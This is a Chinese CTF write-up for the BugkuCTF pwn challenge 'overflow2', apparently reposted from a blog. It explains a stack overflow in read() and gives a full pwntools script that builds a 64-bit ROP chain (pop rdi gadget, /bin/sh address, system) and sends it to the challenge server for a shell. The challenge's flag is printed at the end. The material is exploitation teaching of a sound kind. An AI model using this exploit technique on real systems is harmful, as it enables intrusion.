其他分享
首页 > 其他分享> > BugkuCTF pwn overflow2

BugkuCTF pwn overflow2

作者:互联网

**

0、尝试打开文件,使用checksec检查保护情况

**在这里插入图片描述
**

1、使用IDA 64 Pro打开文件

**
在这里插入图片描述
read()函数存在栈溢出,查看栈结构
在这里插入图片描述
**

2、构造rop链

**
Shitf+F12查找字符串

在这里插入图片描述
发现/bin/sh的地址是0x402004

在这里插入图片描述
system函数的地址是0x401050

64位程序的第一个参数在 rdi 寄存器里
使用ROPgadget工具寻找汇编指令
在这里插入图片描述
rdi寄存器地址:0x40126b
**

3、构造exp

**

from pwn import *

r = remote("114.67.246.176", 14821)

_system = 0x401050
bin_sh = 0x402004
rep = 0x40126b
payload = b'a' * 0x20 + b'a' * 0x8 + p64(rep) + p64(bin_sh) + p64(_system)

r.sendlineafter("name.\n", payload)

r.interactive()

在这里插入图片描述
**

4、得到flag:

**flag{b9afaa1a0078c540}

标签:bin,p64,system,overflow2,sh,64,pwn,BugkuCTF,payload
来源: https://blog.csdn.net/ChaoYue_miku/article/details/118467958